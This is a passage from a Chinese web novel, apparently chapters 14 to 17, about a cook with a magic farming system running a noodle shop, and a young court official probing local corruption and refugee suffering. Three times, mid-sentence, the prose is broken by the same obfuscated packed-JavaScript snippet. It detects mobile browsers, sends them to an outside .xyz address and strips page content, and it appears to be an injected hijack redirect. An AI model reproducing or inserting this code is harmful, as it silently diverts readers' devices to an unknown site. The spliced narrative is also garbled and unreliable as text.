走在县令后一步的吏部侍郎，看出了他们的小动作，眼睛微眯，瞅了瞅尚广明，心想其不过寻常商户，倒是有些骨气。脚下却不停，继续接上话头，语带责备地训导着县令：“行远，本官适才不是说了，为官要与民为善，你这做的是什么事？” 县令忙点头哈腰，虚心应道：“是的，大人，下官往后定当谨言慎行。” 心内也顾不得埋怨尚广明不懂事，欲哭无泪地吐槽着眼前这位一脸正气的侍郎：“收钱的时候也不见你这么说！”，便让师爷安分去排队，自己则领着他们去找有没有空位。 尚怀真见这一群人似乎来头不小，走过去向尚广明打听了一下，差点没一个踉跄摔倒，真想把这位便宜老爹好好教训一顿，急道：“您可以不放特权，我对我的手艺也有信心，但也不能用这种态度对待地方父母官啊！往后咱们若是得罪了他，该如何在此地立足！” 尚广明拍了拍她的头让她消消气，笑了笑道：“无事，他既然能请出吏部为其走动，就算无法官升一级，明年也会被平调去其他易出政绩的富裕州城，我们维护好眼前的民心便可。” 尚怀真只好说服自己相信地点点头，想出名又害怕出名的矛盾令她左右脑互搏，突然遇到这种情况，她确实也没想好该如何处理，眼下便只能兵来将挡，水来土掩了。叹了口气，心想一会给他们另送一份青椒肉夹馍吧，就回到了灶台前去。 说到这青椒肉夹馍，因昨晚想着卖不完的卤肉收汁后还可以制成肉酱，尚怀真顺带把锅盔也烤制了出来。 再次进入系统后，还惊奇地发现，三天前种下的青椒竟然已经成熟，老咪还没帮忙收割，果实们正鲜翠地立在孤零零一片的田埂上。 青椒成熟期通常为二到三个月，思及此，她惊喜地问：“老咪，这空间的时间是外面现实过一天等于里面一个月吗？” 得到肯定回答后，她兴奋地跑进茅草屋里拿出农作工具，小心翼翼地将青椒采摘下来。 看着篮子里的果实，虽然不多，却是自己离目标更进一步的象征。 但突然想到这系统自己目前还没办法自由唤出，连忙又问：“我现在还没解锁出足够的菜品，在这之前种出的菜只能就这样堆着？” 【这个茅草屋即是你的仓库，存于里面的菜蔬果肉长期保鲜，这个按钮你可以置于房中隐蔽之地，需要时按下便可一键传送。】 老咪说罢，弯眼一睁，尚怀真手上便凭空多出了一个柴黄色的小型房屋状按钮。 这不就是所谓的储物空间吗？她欣喜地收好后，想到那些带到现代变卖可以让自己发财的古董，不禁嘿嘿直笑起来。 【这是你的精神仓库，只可存放和取用精神庄园里的物件，无法存入现实中的东西。】 老咪看着她那一副贪财的嘴脸，不留情面地直接泼了一盆冷水过去。 “好吧。”尚怀真的美梦被击碎后，好如丧气的皮球，直接瘪了下去。又想到身上那股奇怪力量的事，问道：“这系统是不是还给了我金手指，为何我能打倒一个比我强壮数倍的大汉，还自动会写毛笔字？” 【系统并无此功能，兴许是你自己身上的潜能因穿越被激发了。】 真是活到老，学到老啊，每天都有等待发掘的新认知迎接着自己。 感觉无法再从老咪处获得有效信息，尚怀真仅自嘲了一下，也没觉得太过沮丧，拍了拍脸蛋给自己鼓气后，侧过身去，见喵头上写着“仓库”两字的按钮也亮了，便点了进去，随后看到第一格青椒的图标下，标着’x19‘的字样。 “十九颗青椒，售卖的话最多只能做两顿卤肉，一会还是再种点吧。”她思索着，想点关闭的手指不经意间划过屏幕，却看到青椒旁边跳出了一页提示，提示内一段关于青椒的食材简介下，还有一处可点击的【关联】板块，其下第一行就是极品肉夹馍。 好奇地点进去，竟直接跳转到了菜目页，只见肉夹馍的图标下，原本打着问号的极品槽处卡牌翻转了过来，按住后，卡牌内容瞬间变大，其上写着：“【极品肉夹馍】：用精神庄园产出青椒烹制，有提神醒脑功效；再加以庄园内畜养猪肉，可获得三日不眠体能。” 好神奇！因为暂时想不到这功效对自己有什么作用，尚怀真目前只有这个感慨。 翻看了一遍没有再找到新的发现，她又种下这个时代依然还没引进的番茄，便拿着两根青椒，回去把极品肉夹馍给解锁了。 当晚，尚怀真就着卤好的肉，自己先尝试了一个，便感觉到那青椒与现实中种出来的味道不同。其口感甘甜不涩，夹于肉中，使醇厚的肉香下带有令人上瘾的清冽甜味，好似加入了一勺蜜糖一般，让她意犹未尽，甚至没有饱腹感。 嚼碎入腹，登时，一天的疲惫竟被席卷一空，沉重的脑袋忽然轻松了不少，也不知道是极品菜目的功效起了作用，还是因为这一次的肉夹馍做得很好吃。 恰好，今日便能借花献佛了。 回过神来，见师爷已经走到了自己的跟前，尚怀真端起职业假笑，手脚麻利地将他们点的阳春面等做好，双手递过去，谦逊道：“县令大人第一次光临蔽店，实在是蓬荜生辉，只是早时便定下的买卖规矩，不好破坏了去，师爷您以伟岸之姿尚能与庶民同乐，想必县令大人也定是个爱护子民的好官。一会得了空闲，看在您的面上，我再给您们送去一份肉夹馍，以示小生孺慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422180|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之意，万望师爷莫弃。” 这番话正面崇拜自己，侧面又赞颂了县令慧眼识人，让师爷听得很是受用，连连摆手笑道：“应该的应该的，咱做父母官的，合该要为你们百姓着想，定然也是要遵从你们的买卖规矩的，少掌柜你实在客气。” 尚怀真看着他那春风满面的神态，心中不禁暗笑，果然七分生意三分马屁，见人说人话，见鬼说鬼话的铁律走到哪都适用。除去精湛高超的技艺，适当的情商化营销也是经营中不可或缺的重要一部分。 另一边，等比较靠里的一桌食客吃完，县令亲自将刚收拾好的桌凳再擦一遍后，才恭敬地让众人先入座。此时，师爷也端着吃食过来了。 “何事如此高兴？”县令看着他与先前阴郁模样截然不同的笑容，不悦地问道。 师爷连忙收敛了表情，将吃食放下时，用余光撇了一眼吏部侍郎，清了清嗓，便将适才少掌柜夸赞自己的话添油加醋一番，着重突出县令躬身入民、知人善用的佳绩，站在一旁垂首认真回答。 县令听完，心言：“爹蠢些，小子倒还不赖。”也不禁暗里喜上眉梢，打眼看了看吏部侍郎的反应，责备地嗔道：“不过是为官之本分，你说这些做甚，快也坐下来用膳吧。” 说罢，竟觉得眼前的苍蝇小馆也没那么不堪了，忙起身先给众人盛上一碗白玉芙蓉汤。 大理寺少卿根本不理会这几人话里的真假官司、条条道道，自己动手夹起大碗面条，尝下一口，后面直接吃出了‘吸溜’声，面汤甚至还弹到了额头鼻尖上。 “好吃，真的好吃！你们快尝尝。”他眼带惊喜地说完后，又夹过一块锅盔，‘咔嚓’一声，酥脆入口，覆于表皮的肉酱也随着嚼动流入口中，口腔中先体验了一把烧饼的酥香后，再被锁在碎小肉块中，会在齿间迸出肉汁的浓厚肉味裹挟。 薄薄的一片也不影响正餐的食用，简直是下饭的仙品。 众人被他的吃相馋住了，亦纷纷动筷。就连那自认嘴刁的彭福生，也吃得不住点头，竖起大拇指道：“面条韧弹爽口，烤饼焦酥不腻，配菜暂且不提，能将这主食的口感把控到如此程度，手艺已是不俗，观其小小年纪，以后定有大作为。没想到这简陋铺面，竟还藏着这么一位能人，也不知他能否为我漪福楼所用。” 县令闻言，喝下一口汤冲去胃肠中的积食，笑道：“若能听到彭东家您的这番认可，那少年郎估计夜里做梦都能乐醒。” 薛振中只少少品用了一些，大部分都留给了这些平时少有食用粗茶淡饭的大人物，认可地点点头，看着彭福生油光满面的形象，试探般笑问：“也不知此子比之你漪福楼的陈厨如何，上次的金瑞衔珠使某回味无穷啊。” 彭福生哈哈大笑，擦去嘴角的油渍，拍了拍他的肩膀，自信道：“到底还是个娃娃呀。” 不谈公事的饭局到底是轻松愉快些，说说笑笑间，没一会，桌上的美味便所剩无几了。 尚怀真将两枚切成四瓣的青椒肉夹馍端了过去，恭敬地介绍了一番后，就识趣地离开了。 “青椒？我怎的没听过这个菜，你们湖山县的特产吗？”大理寺少卿好奇地拿起一块，扒开白馍看了看铺在卤肉上的绿色菜粒。 “下官也不曾听过，许是这少年郎不识菜名，自行冠名的罢。”县令夹出来研究了两眼，吃下一粒也没品出个所以然。 大理寺少卿见众人都一副不解的样子，早已被香味馋得垂涎欲滴了，便懒得继续探究，迫不及待地一口下去，顿时眼冒金光，下意识抓住薛振中的手臂道： “快！振中，有无纸笔，我忽感才思泉涌，要赋诗一首！” 15. 李修阙（一） 同一天，李修阙正在房中研究从珠珠处获得的线报，房门却被敲响了。 “三公子，前厅有人拜访说要求见您。”小厮的声音自门外响起。 “哦？可知来人是何身份。”李修阙将桌上一沓粗糙的麻纸卷好，藏于暗格后问道。 “小人不知，但见家主对其很是敬重。” 适才书童去街市上帮自己买吃食了，没办法让他先去探探究竟，这通传小厮的声音不卑不亢，想来定是父亲身边的下人，此到访之人来头估计不小。 李修阙应了一声，说自己净脸更衣后就过去，便让他先回去禀报了。 回想昨夜，三更之时，终于见到了忙里抽身的珠珠，还不待其在屋瓦上坐稳，他就劈头盖脸地训斥道：“你何时跑去这镜花阁成了她们的头牌？纵使你武艺再高，危难之时也难敌四手，况你还是个弱柳扶风的小女子，又要如何敌得过兽性上头的男人！” 珠珠知道李修阙是担心自己，突然被骂了一顿也没生气，清丽的脸庞上难得出现了娇羞的神态，笑道：“修哥哥，你既知我武艺高超，又怎会弱柳扶风呢？你可别小看了我一手制药的本领。” 李修阙给她递过去一壶酒，看着她那张虽有笑容，却感觉不到暖意外绽的脸，简直和自己那位不苟言笑的师傅同出一辙。问道：“是师傅让你去这么做的？” 珠珠接过，豪饮了一口壶中酒，点点头，将怀中的一沓线报丢给他，道：“听闻郑国公府分家后，郑国公次子程达老来得子，年逾三十竟一举生了个文曲星，此子文武双全，恰逢冠年便考中进士。因程达所在兵部常常抽调人手给刑部，一来二去，便与刑部尚书有了些人情往来，他就生了想让自己儿子进刑部的念头。刑部尚书虽很看好此子，但又害怕其年轻气盛难以立足，便让他先任大理寺主簿，去复核一些陈旧未决案件。” “那个少年天才程靖洲？”李修阙咬了一口从尚怀真那顺来的锅盔，只觉一如既往地好吃。 “对，爹爹说，若能窃取出这些卷宗，或可找到天机图的下落，还能收集到狗皇帝当年的罪证，于你大有裨益。”珠珠看着他拿着一张烤饼吃得津津有味的样子，忽地也感腹中空乏。 好奇地拿起自己眼前的那张，细细看过后，一口脆响下去，再就一口酒，真可谓人间美味！她顿时双眼放光，赞道：“这酥脆鲜香的烙饼真不错，修哥哥你是从何处买的，改日我也去买些当零嘴下酒吃。” 李修阙笑了笑，又拍开一坛酒，递给她道：“这是锅盔，我好友做的，你若喜欢，我改明儿便叫他多做些，得空了再拿给你。” “唔，就是那天在漪福楼里和你一起用膳的那位吧。没想到人看着呆呆傻傻，厨艺竟这般好。”珠珠用手帕擦了擦嘴角，不客气地谢过了。 “呆呆傻傻？那家伙若知道别人是这么看他的话，估计能气得做出好几样佳肴。”李修阙想着，不禁轻笑出声。 他这次没有再囫囵吞枣了，而是慢慢品尝着手中的锅盔。 随后抬眼看到珠珠疑惑的眼神，收起笑，模棱两可地回答了一句后，又继续问起关于她的事：“人人皆有专长，外表难断人性。你先前不是易容潜伏在程靖洲身边吗，为何又要再入镜花阁谋这一身份？” 闻此，珠珠沮丧地叹了一口气道：“这程大人年纪不大，却是个少年老成的人物，凡事追求亲历亲办，连身边心腹都少能得入其书房。我在他身边跟随三月有余，也只收获到了这些无关紧要的信息。” 说着，她“喏”了一声，指了指李修阙手中的线报，又道：“后来有一次，我终于谋得机会深夜闯入其书房，却见房内机关重重，好不容易走到书架处，他已经闻风而至了。无奈，我便只能逃之夭夭，怕他有所警觉，也再不敢回到他麾下。” 看了看自己身后空了四坛的酒壶，李修阙那边也没有多余的酒了，她遗憾地抱膝看着天上的繁星，略带自嘲地说：“随后又从寻常作息观察了他许久，我竟对他这人的喜好一无所知。前段时间，吏部的人找到大理寺卿索要离州的案宗，话里话外道是当地有县令收入不明，爹爹便想着，人总有缺点，此人既不好名利，也不贪财，女色该能打动他吧，恰好镜花阁内前任珠珠姑娘已攒够了赎身钱，却被老鸨刁难着，我便助了她一臂之力。” 李修阙听完，皱了皱眉，不忍道：“你本是闻名四海的女神医，多少妇女仰赖你而得以存活，此番委身于镜花阁内以真容示人，你不怕努力了这么多年的名声毁于一旦吗？” 珠珠浅笑着摇了摇头，随即肃色道：“女子之名，从不在罗裙之下。况我行医，也仅可治标而已，若要治本，便要复我大唐荣光，让世间女子敢于暴露在阳光之下！” 她说这话时，身上似有光芒万丈。李修阙心情复杂地看了她一眼，心内百感交集，怜惜道：“忆青，此路危机重重，其实你不必如此……” “修哥哥，这是我自愿的。为了你也好，为了天下苍生也罢。” 李修阙不敢再直视她此刻坚毅双睛里快要涌出的似水柔情，只长长地叹了一口气。 - 离州泽云府，安顺镖局内。 适才去唤李修阙的小厮对总镖头李和泰耳语了一番，李和泰听罢后点头屏退了他，提起茶壶给对面的年轻男子满上了一杯茶，恭敬笑道：“小子稍后就到，大人您且先喝杯热茶暖暖身子。” 年轻男子承情地拿起茶杯轻抿了一口，没做过多言语。 李和泰只觉原本温暖的厅堂中不知何时冷了下来，有些尴尬，想找话题又不知道该说些什么，觑眼也打量不出对面人的神态有何异常，只好不断地斟茶喝茶。 约莫过了一刻，守门小厮禀报完后，身姿挺拔的李修阙就出现在了堂中。 李和泰看着自己这位与其他兄弟少有相像，生得最是容貌出众的庶子，心下松了一口气，忙笑着招呼道：“修儿来了，快来爹这边坐。” 李修阙愣了一下，往常这位从不让自己唤他作爹，今日怎的一反常态了？ 下意识地看了看打在屏风上的影子，不禁勾了勾唇角，想来许是发现了自己的利用价值了罢。 “是的，父亲。” 他敛容屏气地走过去，只见对面的男子与自己年纪相仿，此刻正端身坐在那里，身着玄衣，锦裘貂领，瀑发高束，乍看打扮便贵不可言。再观剑眉下的双眼细长，鼻高而唇薄，身材略显瘦削却不减气度，俊秀冷然的脸庞上莫名有几分肃杀之意。 一旁的李和泰忙起身向年轻男子介绍道：“大人，这便是草民家三子李修阙。” 然后又与李修阙说：“修儿，这是大理寺主簿程靖洲程大人，你赶紧拜见。” 李修阙心里咯噔了一下，果真说曹操曹操到，昨夜里才讨论到他，今日他便上门来找自己了，也不知是所为何事。 双方拜见完后，李和泰借口还有事务要处理，就匆忙离开了。他一个热络于交际的人，实在是受不了这寒气逼人的氛围。 堂内，两个人大眼瞪小眼了好一会，还是李修阙率先打破了沉默：“程大人，我既无官职，你我又素不相识，不知大人今日来找我是为何事？” “听闻李公子平素热爱仗义疏财，离州各城，家家户户皆道你貌赛潘安，上能游于官宦之中，下能安于百姓之内，是当地的百晓生。”程靖洲回忆起人们对眼前男子的评价，总结道。 这番夸奖的话从一个冷面阴郁之人的口中说出，总觉得十分别扭，起了一身鸡皮疙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436988|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘩的李修阙不解地问道：“不过是一些市井之言，大人谬赞了。不知这与你来找我有何干系？” 程靖洲好似能感觉到他的不适，喝了一口茶清了清嗓，道：“不瞒李公子，我前几日复查卷宗，发现旧案中有一些疑点，这些疑点需要走访当时的历事之人重探究竟。我初来匝道，也不擅交际，故而想来请问公子能否与我协同查案？” 说罢，觉得此事可能有些唐突，他又道：“至于报酬，公子尽管开口，某定当竭力。” 李修阙考虑了一会，问道：“大人为何不找衙里的县丞，他们管着辖内的户籍与案宗文书，不比找我这个门外汉来得便利吗？” 程靖洲摇了摇头，清冷的脸上依旧不见情绪波动，只是语气稍微有些凝重，握着茶杯的手现出青筋，闷声道：“我已经走访过了离州的府衙县衙，其内官员沆瀣一气，欺上瞒下，交给我的全都是粉饰太平的假公报。我私下里巡城，见城外依旧流民集聚，饿殍满地，一问方知你们当地想入户籍竟要高达三两金。普通劳工不吃不喝一年方能存下二两，他们地位如斯窘迫，又要高额的入城条件，除了等死，还有第二条路可走吗？城内虽被治理得井井有条，却也是官商勾结，含冤枉死者众多。” 说罢，他抬头盯着李修阙的眼睛：“你既能以富贵身份行济贫之事，也定是愤然他们这种行径的。况百姓遇着官差盘问，多半支吾恐惧，答非所问，我和你一起去暗里盘查，必能事半功倍，还百姓一个清明，让流民居有定所。” 李修阙回视着他的目光，沉吟了好一会，道：“你可知曾有多少与你有同样想法的忠臣，匍匐于宣政殿内，顶礼力议，他们跟前尊敬的那位帝王却一道杖刑，使他们最终沦落到非死即伤的下场。你父亲也定是知你性子，故而想让你去刑部磨磨你的锐气，你年纪尚轻，前程还大有可为，真要做此自断官途之事？” 暗访之时只见眼前的少年行事洒脱不羁，不曾想倒是个心思缜密之人，程靖洲正了正色，眼神不再咄咄逼人，坚定道：“若无百姓，何以有国，若失国祚，何以为家？我这一身血肉都是百姓给的，怎忍看他们烹于水深火热之中！即使身首异处，又何惧哉！” 李修阙轻笑了一声，眼神中却没有嘲讽，无奈道：“文人意气，倒是不缺血性。” 程靖洲见他没答应也没拒绝，兀自悠然地喝着茶，不懂他这是什么意思，思虑了一会，客气道：“不知李公子意向如何，我今日唐突拜访，你一时难以抉择也不打紧，珠珠姑娘此刻还在湖山县，晚些我便邀她作陪，请你至漪福楼用膳以示歉意，万望公子莫要推辞。” “？”，李修阙还在思考这事的可行性呢，被他这话惊得差点没把口中的茶水喷出来，笑道：“敢情你竟觉得我是个重色之人？” “那日在漪福楼里见你对珠珠姑娘似乎格外关注，可能有些误会，是我冒犯了。”程靖洲干笑了两声，用手挡住脸，以防被对方笑着说话而喷出的水溅到。 李修阙看着他的冷脸，只觉又好气又好笑，收敛起神思，肃然道：“你若真有这般为国为民的想法，我自是很乐意协助你的。咱们立意一致，也不必报酬了，你且与我说说需要我如何帮你？” 程靖洲眸带喜意，看了看外间的天色，拿出了一册黄纸，递给他道：“这是这几日我整理的一些疑点，李兄你可粗略过目，午时将过，我要回去述职了。今夜辰时一刻，漪福楼，我们再作详谈。” 说罢，站起身拱了拱手，便要离去。 李修阙大致看了看纸扎内苍劲有力的小楷，收入怀中，也起身，在小厮门房的注视下将其送出镖局，笑道： “不必漪福楼，我带你去个好地方，那里的吃食不仅美味绝伦，还能贴近民生。” 16. 李修阙（二） 购置好明天的食材，回到家中后，看着林映玉精心准备的一桌菜，尚怀真感觉一天的疲惫都不翼而飞了。 衣来伸手，饭来张口的日子，虽然听起来很摆烂，但是真的很爽啊！ 刚坐下拿起筷子，一道悦耳却欠揍的声音又毁人兴致地响起：“怀真老弟，今日你家面馆可有卖余的吃食？全都给为兄吧，你放着浪费，我恰好也饿了。” 尚怀真正准备大快朵颐的好心情突然被噎了一下，头都不抬，言语中尽是嫌弃的语气：“李修阙，你是真把我这当成你的食堂啊，一天天的连吃带拿，我才不……” “这些够吗？” 还没说完，只见眼前突然多了一锭金子，她脸色瞬间转嗔为喜，拿过来咬了两口，确定是真金后，笑道：“够了够了，李总您还有何吩咐，请尽管大胆提，本牛马定当竭尽全力，在所不辞。” 李修阙哈哈一笑，心情很是愉悦，给孟奶奶和尚广明见过礼后，坐在她的身旁，打趣道：“看你又在胡言乱语了，一两金子便能让你感激涕零，日后赚得盆满钵满时岂不是每日都要喜极而泣了？” 尚怀真高兴地一拳锤在他左肩上，喜笑颜开道：“好兄弟，那就承你吉言啦。” 收好金子，一抬头，却见他身后竟还跟着个人。 那人长身玉立，周身气质冷然疏远，容貌虽稍逊色于自己眼前正嬉皮笑脸的李修阙，但也是好一个俊俏郎君！ 只是那被一身玄衣承托的白皙面容，竟与自己现代暗恋的crush有七分相似，这冲击让她心里倏地发乱，不禁呆住了。 李修阙见尚怀真突然不说话，顺着她的目光看过去，忙起身介绍道：“一时心急，忘记引见了。这是从京城来的大理寺主簿程靖洲，程大人。他今日忙完事务本想到你家永兴面馆小祭五脏，却逢暮至打烊，沮丧之际恰好与我碰上，我便将他带过来了。” 这一番话让尚广明和程靖洲都侧目看着他，心里有着同一个疑惑：“怎么有人说起谎话来可以如此自然？” 得知是高官拜访，孟奶奶和林氏姐妹略显慌乱地起身见过礼后，正想匀出两碟小菜，拿回房里去三个妇女另分一桌吃，却被刚回过了神来的尚怀真制止了。 她不悦道：“我们一家人吃饭，为何要分桌呢？他两个只是突然上门的食客，又不是与我或父亲有要事相商，你们不必如此紧张。” 虽然早早独立，但她其实是一个很害怕孤独的人，而且也并不认同现在这时代男女吃饭不同席的风俗。 李修阙抱歉地笑了笑，邀请程靖洲入座，示意他快表示两句。 程靖洲无奈地看了看他，不太好意思坐下，只顺着尚怀真的话拱手淡淡道：“是的，夫人您们不必多礼，小生取了吃食便离开。” 李修阙没理会尚广明暗示让他将人强留下来的眼神，发自内心地惊呼惋惜，不舍道：“不是吧，林姑娘这桌菜做得看着就让人心生食欲，味道也定是不错的，真的不要留下来浅用一餐？” 林映玉闻言羞红了脸，暗暗扯了扯尚怀真的衣角。 尚怀真在心烦意乱之下，终于说服了自己人有相似，而且crush是冷静自持，这位是冷然疏远，性子上就不一样了。不过此刻听到他的声音居然和crush也如此相像，不禁复又多看了他几眼，脑子差点又要宕机。 被林映玉扯了衣角，拼命告诫自己这里不是现代，要保持冷静后，才长长呼了一口气，见其眼神传达没关系，便道：“来者是客，如若不弃，大人且坐下来小用粗茶淡饭罢。” 一直不语的尚广明也顺着附和了一句。 说罢，尚怀真回眸问向李修阙：“你想吃什么，我去看看食材还够不够。” 李修阙见她心情莫名低落，不解之下有些担心，便随她起身，硬把程靖洲按到座位上后，笑说：“单一份可不够我吃，我随你去厨里看看吧。” 待两人走后，饭桌上的场面瞬间冷清了下来，似乎只余筷子相撞的声音。 林映瑶左右看看，没忍住，对程靖洲道：“这位大人哥哥，你别坐在那里光发愣呀，阿姐做的菜很好吃的。” 说罢，她立马就被林映玉敲了一下头，“哎呀！”了一声，虽然感觉有点委屈，却也不敢再说话了。 孟奶奶眼神中带着宽抚，微笑着往林映瑶的碗里夹了一块五花肉，也对程靖洲说道：“大人不必拘谨，我们市井之民向来没什么规矩，让你见笑了。” “无妨。”程靖洲微不可查地摇了摇头，不好拂了长者的好意，动筷把每个菜都浅尝了一口。 还没品出是啥滋味，他们那位不苟言笑的家主却向他问起了话来：“程大人，冒昧请问，将至年关，你们大理寺正是处在京中最忙的时候，不知大人为何于此时会到访咱湖山县？” 程靖洲看了尚广明一眼，礼貌地回答道：“有未决案件需处理。” 孟奶奶皱眉看了看今日不知为何特别多话的尚广明，但见他又问：“大人今番所查案司，限于官家，还是纡尊降贵来听查民意的呢？” 程靖洲看着他，停箸不语。 尚广明向他抱了抱拳，道：“草民不才，或能检举一二，只想看看这世道上还有多少好官。” 闻言，程靖洲觉得他这话似乎并不友好，不知该如何作答，只让他尽可以将冤屈写下，自己能帮则帮。 才坐不久，竟总感觉到有一股奇怪的压力在自己身上如影随形，使他如坐针毡。 程靖州惜字如金，眼看在座的人也都吃得不舒坦，起身谢过款待后，便往隔壁去找李修阙了。 厨房内，李修阙此时正拿着一根鸡腿，一边咬下一大块嫩肉，一边看着尚怀真忙碌的身影，问道：“你怎么突然间失魂落魄的？” 尚怀真将好一些卤鸡蛋、肉夹馍等打包好给他，摇摇头，随便胡诌了一个理由半真半假道：“程大人与我记忆中的一位故人很是相像，可是我怎么也想不起来，忽感有些茫然罢了。” 李修阙接过一大布袋的吃食，知道她先前发热失忆的事，抚慰笑道：“想不起来就不要想了，往事已成过往，人得向前看。” 尚怀真笑了笑，掠过不答，问道：“你要这么多吃食，是用来犒赏府里的下人的吧？改天若知道有哪些茶馆楼舍需要安排团餐，记得帮我引荐一下。” 李修阙见她的心情很快就调节了过来，夸赞道：“我说向前看，你果真就向钱看啊，哈哈，你这家伙总是能令我刮目相看。行，只要你多多做出更美味的吃食，能记得给为兄留一份就行。” 两人默契一笑后，正准备回偏厅，程靖洲走了进来。 “李兄，尚公子。”和两人打过招呼，嗅着余香未散的肉香，他不禁探头看向了灶锅。 李修阙闻声见到是他，好奇问：“你怎的寻过来了？” “已叨扰多时了。” 感觉到他周身的温度似乎又低了几分，李修阙把一个青椒肉夹馍递给他，笑道：“也好，你来得真赶巧，这是怀真弟专门给我俩做的私藏菜品，我估摸着你适才定然没吃饱，且尝尝罢。” 随后拍了拍尚怀真的肩说：“那我们就先告辞了，劳烦老弟你帮我给两位长辈道一声冒犯，为兄改日再来找你。” 尚怀真翻了个白眼，心道：“拜拜了您嘞！”，摆摆手，嗯了一声就先他们一步走了。 - 出了城南街，程靖洲坐在马车里，慢条斯理地吃下那枚肉夹馍后，只觉整个人瞬间精神抖擞，连连日来颠簸的疲惫也感觉不到了。 还没来得及问李修阙这是用什么手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442373|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法烹调而成的，对方便掀开车帘，邀自己下车了。 城外，被积雪覆盖的白茫茫大地上，只余一些深浅不一的车辙印与了无生机的枯草根。 纵使穿得温暖厚实，也已适应了这些时日里的寒意袭人，但猛然立足于这肃杀一片的天地间，他还是反射性地颤抖了两下，脖子往貂绒里缩了缩，才感觉好受些。 反观李修阙，却似乎习以为常。 他往手里呵了一口气，从马车上拿下两袋物什，见马车远去后，回头对程靖洲说：“前面的路车马过不去，你能走吧？” 用人不疑。 程靖洲也没多想，点了点头。 随着李修阙翻山越岭走了约莫一个时辰，他见不远处隐约出现了一架竹制小屋，屋外延伸出一张长长的雨棚，棚下有许多衣不蔽体的人躺在铺就了布匹的地上。 震惊道：“这是？” 李修阙将布袋放在离竹屋的不远处，吹了一声口哨，屋内立马有两个小童出来将布袋拿进去，还有一位老者引着两人绕过正门，往竹屋的后院走去。 “你看到的躺在那里的都是流民，因为官府不会查到这边，渐渐地这里便成了流民村。”李修阙在老者耳边耳语了一番，打发他离开后，对程靖洲说道。 程靖洲看了看围绕在竹屋旁大大小小零落的几间断壁残垣的屋子和田地，问道：“这竹屋是你建的？你一直在救助这些流民？” 李修阙不置可否，邀请他先进屋内，脸上不再有平日嘻哈的神态，落座道：“今夜且请你在此委屈一晚，每隔十日，棚下都会在午时施粥济民，明日便又是施粥日了，你来助我一臂之力吧。” 程靖洲听罢，看着眼前不断冒着热气的茶水，久久不语。 他一直在京城里养尊处优地长大，父母姐妹对自己几乎都是一呼百应。自进学科考后，因知有许多地方的人们还在经历着饥寒交迫的处境，便暗暗立下决心要努力考取功名，做出功绩，让人人都能吃饱穿暖。 但却不知这世道的生存环境竟恶劣如斯。 今日一见，三观尽失的他顿感心中悲戚，对未来陷入迷茫。 李修阙似乎看出了他的想法，微笑道：“你不必沮丧，世间之大，总难完美。只要你真心努力为民，便给了他们一份希望，也给了你自己一个交代。” 程靖洲抬头看着他好一会，才问：“你行此仁义之事多久了？” 李修阙喝下一杯茶，把手放在暖炉上烘着，想了想，道：“应有三年了。” “湖山县的县令上任恰好三年。” “他只是自甘堕落罢了，你既要查，便不止要查这个县，这片州，而是要抽丝剥茧地查整个中原，甚至查到皇宫去。”李修阙摇头轻笑，起身走到身后的书架处，抽出一本书页已被翻得起皱的书扔给程靖洲。 “这本书内，都是我这些年走访看到并记下的一些民情，虽然无序了些，你感兴趣的话还是可以看看的。” 程靖洲接过，并没有翻开，而是神色复杂地看着他，思索了良久才问：“你为何不入仕？” 李修阙见他眼中有探究之意，爽然一笑，道：“我是一个无胆之徒，我有重视的家人，做不到大义凌然去赴死。当然，我也没有你这么聪明的脑袋，寒门举子，说白了都是用钱砸出来的。” 程靖洲不赞同地拧眉道：“你这话倒是绝对了些。” 说着，热了不知多少回的茶又烧开了，还不待举例反驳，适才给他们引路的老者敲门走进来，把李修阙叫了出去。 走至窗边，除了民房内偶有跳动的火光，黑漆漆的什么都看不清。 百无聊赖之际，程靖洲翻开了他方才拿给自己的那本书，越看越后怕，脑海里乍然闪过一个念头： “天机盟？” 17. 寻常日子 “怀真，这些我来做就好了，你快去歇息罢。”林映玉刚从厨房端着个盛放碗筷的木盆走进偏厅，就见尚怀真已经吃好在归着残羹了，忙快步走过去制止她。 “我来没事，你做饭都这么辛苦了，怎能还让你洗碗呢，正常就是该吃最后的人收拾。”尚怀真眼疾手快地抢过她手中因分神而没抱好的木盆，赶紧把碗碟收进去，不让她有动手的机会，笑嘻嘻道： “瑶瑶今日发了一天的传单，你又做出这么美味的一大桌子菜，定然累惨了，快和她一起去沐个浴暖暖身子，舒舒服服地躺床上休息吧。” 林映玉看着自己一瞬间就变得空空如也的双手，不禁有些恍惚，犹豫再三才道：“怀真，其实我和瑶瑶并不是亲姐妹，我是……” 